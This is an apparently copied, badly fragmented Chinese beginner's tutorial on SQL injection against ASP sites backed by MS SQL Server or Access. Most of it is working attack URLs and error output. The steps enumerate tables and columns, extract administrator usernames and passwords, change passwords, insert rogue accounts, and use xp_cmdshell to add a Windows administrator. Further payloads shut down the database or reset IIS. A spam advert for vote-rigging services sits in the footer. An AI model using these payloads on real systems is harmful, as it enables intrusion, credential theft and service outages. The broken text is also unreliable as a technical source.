新手必看－SQL注入详解疯狂代码！

网上有很多高手GG们写

利用SQL注入如何去黑网站WebSite

偶看了

嘿嘿

不过可能对于

些初学者而且

有点难

在这里

小林想把这个过时

东东作

次全面

交待

尽量让没有编程基础

DDMM们很快

拿握这门技术

利用SQL进行添加

更改

查看记录

当

台主机台开了80端口

当你手头没有任何黑客工具

那么

偶们有SQL

他不需要你其他东东

只要

个浏览器就够了

HOHO

偶

文章菜菜

偶写这
篇文章只是为了让

些对SQL很陌生

菜菜们看

老鸟绕道

什么是SQL注入？

SQL注入

就是利用欺骗

方式

通过网页

查询功能

或查询命令注入

当用户来到网站WebSite

会提交

些数据

再到数据库进行查询

确定此用户

身份

举个简单

例子来说吧

你去

个站点

论坛

那么

你会输入你

用户名和
密码

点"确定"

网站WebSite会通过数据库

查询来判断你是不是他们

用户

你

用户名和密码是否正确

而利用SQL注入

通过构造特殊

语句

来查找我
们所想要得到

信息

如管理员

帐号密码

以下

小林用了http://xxx.xxx.com
来表示

个存在注入漏洞

网页

助手篇

先把IE菜单-工具-Internet选项-高级-显示友好 HTTP

信息前面

勾去掉

否则

不论服务器返回什么

我们都只能看到"HTTP 500服务器

不能获得更多

提示信息

哪些网页能利用？
我们去找

些要提交数据

网页

如:登陆页面

查找页面

添加页面等
找到后

如果你注意过网页

源代码

那么

你会发现

他上面

般有

个如下

表单:

<FORM action=login.asp method=post>
<input ........
</FORM>

这些网页

后缀如asp,jsp,cgi

php网页

如:http://xxx.xxx.com/index.asp?id=10
上面这个例子

就是ASP页后

看到他

ID还

值了吗？是10

般

我们找

就是这些页面
来练手了

(要做个好人噢

(^_^)像小林

样

好人

)

4

如何测试它是存在注入漏洞

呢？这

步偶称它为"踩点"

小林有

个毛病

看什么网页

就要顺手在参数(如上面

10)上加

个小小

引号

http://xxx.xxx.com/index.asp?id=10'
返回

信息:

Microsoft OLE DB Provider for SQL Server

'80040e14'

串 '' 的前有未闭合

引号

/job/grxx.asp

行141

这就是说

他用

是MsSQL数据库

这个引号

导致引号未闭合

本身就是错

通常

个整数是不用在SQL里加引号

如果他不是

个整数而是字母呢？

http://xxx.xxx.com/index.asp?user=lamb

那我们就把引号放到lamb中间

如lam'b
呵呵

又出错了吧？

这介绍说明

站点这

部分

代码是大有问题

(当然

就算他有源码公布在网上

我也懒得看)

当然

我们也可以提交:
http://xxx.xxx.com/index.asp?id=10 ;AND columnaaa=5 (注

这里

columnaaa是我乱写

)
出现

信息:

Microsoft OLE DB Provider for ODBC Drivers

'80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Invalid column name 'columnaaa'.

/job/grxx.asp

行27
这介绍说明

这是

个SQL

里面没有columnaaa这个字段(我习惯说"列")

利用出错

信息

我们现在多少了解了这个站点

服务了吧？

5

现在开工啦

偶不喜欢猜测他

字段名

太浪费TIME了

我们要想办法让数据查询中出错

要产生

个

让它自己报出数据库里

值

让我们用

用SQL语法GROUP BY 或HAVING

如:

http://xxx.xxx.com/job/grxx.asp?id=23%20HAVING%201=1--

出现

信息:
Microsoft OLE DB Provider for ODBC Drivers

'80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'article.

sid' is invalid in the

select list because it is not contained in an aggregate function and there is no GROUP BY

clause.

/more.asp

行27

看到article.

sid了吗？介绍说明有

个叫article.

sid

列

你在用HAVING

所以你必须还要用

上GROUP BY

于是黑客就重复

提交

直到没有得到

这里要介绍说明

下:分号在这里分离

%20 是空格

--表示后面是

个注释

也就是说只是介绍说明

不能去

执行代码

(*_*)

下面是具体例子:

提交:
http://xxx.xxx.com/job/grxx.asp?id=23%20HAVING%201=1--
得到article.

sid这真是好东西

提交:
http://xxx.xxx.com/job/grxx.asp?id=23%20group%20by%20article.

sid%20having%201=1--
得到

信息:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'article.title' is invalid in the

select list because it is not contained in either an aggregate function or the GROUP BY

clause.

/more.asp

line 20

得到:
article.title
我们反复地

个

个加上来提交

得到

信息:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'adm.userName' is invalid in the

select list because it is not contained in either an aggregate function or the GROUP BY

clause.

/more.asp

line 56

这里要注意了

都到哪儿了？到下

个表了

现在我们知道这里至少有2个表

他们

别名是:adm和article

如里面article对应

是:

sid等

title

利用系统表:

下面

我们要确定表名来加入数据

系统表是MS-SQL 2000

部分

名叫sysObjects table

我们将要用到查询union select,

要从SysObjects table 有天地拿到表名

般使用下面语句:
select name FROM sysObjects where xtype='U' U是指明定议USER

表

黑客们已经知道了表里

列

现在他们能在下面加

些数字

甚至如下面

:

在地址栏里打入:

http://xxx.xxx.com/job/grxx.asp?id=23%20union%20ALL%20select% ;
201,2,3,4,5,6,name%20FROM%20sysObjects%20where%20xtype='U'--
记住

上面

1-6数据中

6是我们想要

不过有时候会出现数据类型

http://xxx.xxx.com/job/grxx.asp?id=23%20select ;TOP 1 TABLE_NAME FROM

INFORMATION_SCHEMA.TABLES--

MS SQL服务将试图去转换

个

(nvarchar)到

eger

那么就会出错:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value

'table1' to a column of data type

.
/index.asp, line 5

这个

信息很"友好"地告诉我们

(nvarchar)值不能被转换成

eger

这样

我们就获得了数据表

第

个表名！这个表名就是tabel1

要获得第 2个表名

我们继续

用以下查询:
http://xxx.xxx.com/job/grxx.asp?id=23%20union ;select TOP 1 TABLE_NAME FROM

INFORMATION_SCHEMA.TABLES where TABLE_NAME NOT IN ('table1')--

也可以用关键字查找数据:
http://xxx.xxx.com/job/grxx.asp?id=23 ;union select TOP 1 TABLE_NAME FROM

INFORMATION_SCHEMA.TABLES where TABLE_NAME like '%25ADMIN%25'--
现在

信息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value

'admin_login' to a column of data type

.
/index.asp, line 5

寻找和的匹配

值

'%25ADMIN%25'在SQL服务器上将被认作 %ADMIN%

这样

我们就能获得符合标
准

表名为"admin_login"

表了

那么

如何获得表里所有

列表？

我们能利用另

个有用

东东

INFORMATION_SCHEMA.COLUMNS 出场！！！
http://xxx.xxx.com/job/grxx.asp?id=23 ;union select TOP 1 COLUMN_NAME FROM

INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='admin_login'--

现在

信息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value

'u_id' to a column of data type

.
/index.asp, line 6
看

我们有了第

个字段

名

我们用NOT IN

来获得下

个字段名:
http://xxx.xxx.com/job/grxx.asp?id=23 ;union select TOP 1 COLUMN_NAME FROM

INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='admin_login' where COLUMN_NAME NOT IN

('u_id')--
现在

信息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value

'u_name' to a column of data type

.
/index.asp, line 5
我们继续

获得其他列表

如:"password"等

我们获得下面

信息:
http://xxx.xxx.com/job/grxx.asp?id=23 ;union select TOP 1 COLUMN_NAME FROM

INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='admin_login' where COLUMN_NAME NOT IN

('u_id','u_name','password',contents')--
现在

信息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select

list

the statement contains a union operator.
/index.asp, line 5
6

2 如何找到我们要找

重要数据呢？
现在我们知道了表名

字段名

我们用相同

思路方法收集我们要

在数据库里

信息

现在

我们从"admin_login" 表里取得第

个u_name :
http://xxx.xxx.com/job/grxx.asp?id=23 ;union select TOP 1 u_name FROM admin_login--
现在

信息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value

'adminroot' to a column of data type

.
/index.asp, line 5

我们知道

这里有登陆

用户名叫 "adminroot"

管理员

最后

从数据库里获得"adminroot"

密码

:
http://xxx.xxx.com/job/grxx.asp?id=23 ;union select TOP 1 password FROM admin_login where

u_name='adminroot'--
现在

信息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value

'root' to a column of data type

.
/index.asp, line 5
我们现在能用户名"adminroot"密码:"root"登陆了

如何取得数字

值？

以上技术描述有有

定

局限性

当我们试图转换文本组成有效

数字0-9我们不能得到任何

让我们说说如何获得"tony"

密码

密码是 "19840217":
http://xxx.xxx.com/job/grxx.asp?id=23 ;union select TOP 1 password FROM admin_login where

u_name='tony'--
我们很可能发现

该页无法显示

这结果表示

密码"19840217"被修改到

个数了

在整
合

个整型(10 也是)

这是

个有效

整合

所以SQL服务就不会给出

提示了

我们就得不到数字

登陆了

要解决这个问题

我们能附加

些字母来测试转换失败

我们用以下

测试来代替:
http://xxx.xxx.com/job/grxx.asp?id=23 ;union select TOP 1 convert(

,

password%2b'%20lambgirl') FROM admin_login where u_name='tony'--

我们简单地利用加号+设置密码数据文件

搜索路径

随便加

些

ASSCII码'+' = 0x2b
我们将添加空格在密码里

所以

如果把我们

密码是'19840217'

他将变成'19840217 lambgirl'.
调出了转换了

试着将'19840217 lambgirl'转变成整型

SQL服务将出现ODBC

:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value

'19840217 lambgirl' to a column of data type

.
/index.asp, line 5
现在

你就能用'tony'和密码:'19840217 lambgirl'了

如何在数据库修改

插入数据？
当我们成功地获得了表名

字段

就很容易在数据库里修改甚至插入新

数据

如更改"adminroot"

密码

我们

http://xxx.xxx.com/job/grxx.asp?id=23 ;update 'admin_login' SET 'password' = '

pas5' where

u_name='adminroot'--

要在数据表里插入新记录

http://xxx.xxx.com/job/grxx.asp?id=23 ;insert INTO 'admin_login' ('u_id', 'u_name',

'password', 'contents') valueS (123,'xiaolin','pas','lambgirl')--
现在

我们就能用xiaolin pas 来登陆了

如何远程执行SQL漏洞？

能进行SQL注入命令表明

我们能查任何我们想要查

默认安装

MS SQL服务
在系统中权限等于管理员

我们能利用执行存储过程像xp_cmdshell 来执行远程破坏:
'; exec master..xp_cmdshell 'ping 192.168.0.2'--

(如果单引号不能用

就换成双引号)

分号表示结束前面

SQL查询

从而允许你开始另

个新

SQL命令

为了检验命令成功执行

你可以监听从192.168.0.2发出

ICMP包

查看是否发出包

#tcpdump icmp
如果你没有接到PING主机

回应

得到

个

提示

权限

那么

很可能管理员
限制了WEB用户对xp_cmdshell 等

权限

如何找出MYSQL查询结果？
这很容易用sp_makewebtask来把你查询

结果放到

个HTML里:
'; EXEC master..sp_makewebtask "\\192.168.0.2\share\girlxiaolin.html", "select * FROM

INFORMATION_SCHEMA.TABLES"
但是目标IP必须共享文件夹

http://xxx.xxx.com/job/grxx.asp?id=23 ;;exec master..xp_cmdshell "net user name
password /add"--

xp_cmdshell 用于

系统命令

于是

用net命令新建了用户名为name、密码为password

windows

帐号

接着:
http://xxx.xxx.com/job/grxx.asp?id=23 ;;exec master..xp_cmdshell "net localgroup name

administrators /add"--
将新建

帐号name加入管理员组

不过这种思路方法只于用sa连接数据库

情况

否则

没有权限

xp_cmdshell

其他方面

如利用SQL

命令填写:
将使SQL服务快速关闭
用户名: '; shutdown with nowait; --
密码: 不填

导致严重问题

网络故障

用户名: '; exec master..xp_cmdshell 'iisre

'; --
密码:不填

有关ACCESS部分

和ASSQL差不了多少

也是先在http://xxx.xxx.com/index.asp?id=10'

出错

话

继续提交:
先测试是否有ADMIN表

http://xxx.xxx.com/index.asp?id=10 and 0<>(select count(*) from admin)

http://xxx.xxx.com/index.asp?id=10 and 1=(select count(*) from admin)
没有

话

就换

个名字

如user啊

什么

再猜里面是否有username这个字段.

and 1=(select count(*) from admin where len(username)>0)
如果出错

同理

我们也可以给它换

个名字

接下来我们猜用户

具体名字

and 1=(select count(*) from admin where left(username,1)=l)
这时我们可以

个

个地来猜

and 1=(select count(*) from admin where left(username,2)=la)
接下来猜密码

猜密码

道理同猜用户名

样

and 1=(select count(*) from admin where left(password,1)=l)

上

篇文章: IDS＋Honeypot＝骇客克星

下

篇文章: DLL释放型后门

特征码修改

Tags:

疯狂投票大师，投票，评论，公关，水军,删贴，各大新闻媒体软文发帖，免费试用，联系qq：10388215

新手必看－SQL注入详解

延伸阅读

最新评论

发表评论

赞助商广告

随机更新

热门标注

最近更新

最新标注